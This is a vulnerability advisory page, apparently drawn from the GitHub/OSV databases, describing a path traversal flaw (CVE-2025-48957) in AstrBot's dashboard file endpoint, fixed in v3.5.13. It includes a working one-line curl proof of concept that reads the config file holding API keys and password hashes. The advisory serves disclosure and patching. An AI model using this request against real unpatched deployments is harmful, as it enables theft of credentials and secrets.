AstrBot Has Path Traversal Vulnerability in /api/chat/get_file
Impact
This vulnerability may lead to:
- Information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data.
Reproduce
Follow these steps to set up a test environment for reproducing the vulnerability:
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Install dependencies and clone the repository:
bashpip install uv git clone https://github.com/AstrBotDevs/AstrBot && cd AstrBot uv run main.py -
Alternatively, deploy the program via pip:
bashmkdir astrbot && cd astrbot uvx astrbot init uvx astrbot run -
In another terminal, run the following command to exploit the vulnerability:
bashcurl -L http://0.0.0.0:6185/api/chat/get_file?filename=../../../data/cmd_config.json
This request will read the cmd_config.json config file, leading to the leakage of sensitive data such as LLM API keys, usernames, and password hashes (MD5).
Patches
The vulnerability has been addressed in Pull Request #1676 and is included in versions >= v3.5.13. All users are strongly encouraged to upgrade to v3.5.13 or later.
Workarounds
Users can edit the cmd_config.json file to disable the dashboard feature as a temporary workaround. However, it is strongly recommended to upgrade to version v3.5.13 or later as soon as possible to fully resolve this issue.
References
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | astrbot | >= 3.4.4, < 3.5.13 | 3.5.13 |
References
- https://github.com/AstrBotDevs/AstrBot/security/advisories/GHSA-cq37-g2qp-3c2p
- https://nvd.nist.gov/vuln/detail/CVE-2025-48957
- https://github.com/AstrBotDevs/AstrBot/issues/1675
- https://github.com/AstrBotDevs/AstrBot/pull/1676
- https://github.com/AstrBotDevs/AstrBot/commit/cceadf222c46813c7f41115b40d371e7eb91e492
- https://github.com/AstrBotDevs/AstrBot
- https://www.vicarius.io/vsociety/posts/cve-2025-48957-detect-astrbot-dashboard-vulnerability?prevUrl=wizard
- https://www.vicarius.io/vsociety/posts/cve-2025-48957-mitigate-astrbot-dashboard-vulnerability?prevUrl=wizard
- https://pypi.org/project/astrbot
- https://github.com/advisories/GHSA-cq37-g2qp-3c2p
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N- Weakness (CWE)
CWE-23- Platform
- Python (PyPI)
- Package
astrbot- Disclosed
- 04.06.2025
- Updated
- 11.10.2026 15:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-1196 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-cq37-g2qp-3c2p - CC BY 4.0
Vulnerability history: astrbot
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 8
- First → latest
- 06.2025 06.2026
- Without a fix
- 5
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 3
- Medium 1
- Low 3
Disclosures per year
- 2025: 4
- 2026: 4
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